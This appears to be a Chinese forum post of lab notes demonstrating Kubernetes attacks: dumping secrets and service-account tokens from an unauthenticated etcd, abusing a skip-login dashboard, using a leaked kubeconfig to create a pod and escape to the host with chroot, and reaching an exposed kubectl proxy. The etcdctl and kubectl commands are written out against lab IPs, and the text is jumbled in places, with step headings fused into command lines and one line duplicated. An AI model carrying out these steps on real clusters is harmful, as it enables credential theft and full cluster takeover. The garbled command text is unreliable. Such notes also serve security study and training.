https://www.jianshu.com/p/25c01cae990c一个集群包罗三个节点,其中包括一个控制节点和两个工作节点和一个数据库节点
https://blog.csdn.net/fly910905/article/details/120887686
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
k8s-etcd 192.168.139.136
/etc/kubernetes/manifests/etcd.yaml
systemctl restart kubelet
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
https://www.wangan.com/p/7fy7f81f02d9563a
暴露etcd未授权->获取secrets&token->通过token访问API-Server接管etcdV2版本利用
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --2、获取k8s的secrets
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/3、读取service account token
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole4、通过token访问API-Server,获取集群的权限4、通过token访问API-Server,获取集群的权限
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods
Ssrf解决限制访问->获取Secrets&Token->通过Token访问Api-Server接管二、演示案例-云原生-K8s安全-Dashboard(Master-web面板)未授权访问
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。复现利用
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不必要登录的http接口,但接口本身并不会暴暴露来,如接口被暴露在外,就会导致dashboard未授权。
另外一种情况则是开发嫌登录贫苦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard1、安装
Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
https://blog.csdn.net/justlpf/article/details/1307187742、启动
kubectl create -f recommended.yaml
kubectl delete -f recommended.yaml4、查看状态
kubectl get pod,svc -n kubernetes-dashboard5、利用
找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸三、演示案例-云原生-K8s安全-Configfile鉴权文件泄漏
攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包罗有关K8s集群的详细信息(API Server、登录凭证)。
假如攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证生存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
-假如提供了--kubeconfig参数,就使用提供的kubeconfig文件
-假如没有提供--kubeconfig参数,但设置了情况变量$KUBECONFIG,则使用该情况变量提供的kubeconfig文件
-假如以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config
K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸1、将获取到的config复制
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux连接:
kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
kubectl apply -f test.yaml -n default --kubeconfig=config
kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash
当运维人员必要某个情况暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
类似某个不需认证的服务应用只能本地访问被署理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案
kubectl -s http://192.168.139.130:8009 get pods -n kube-system
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) | Powered by Discuz! X3.4 |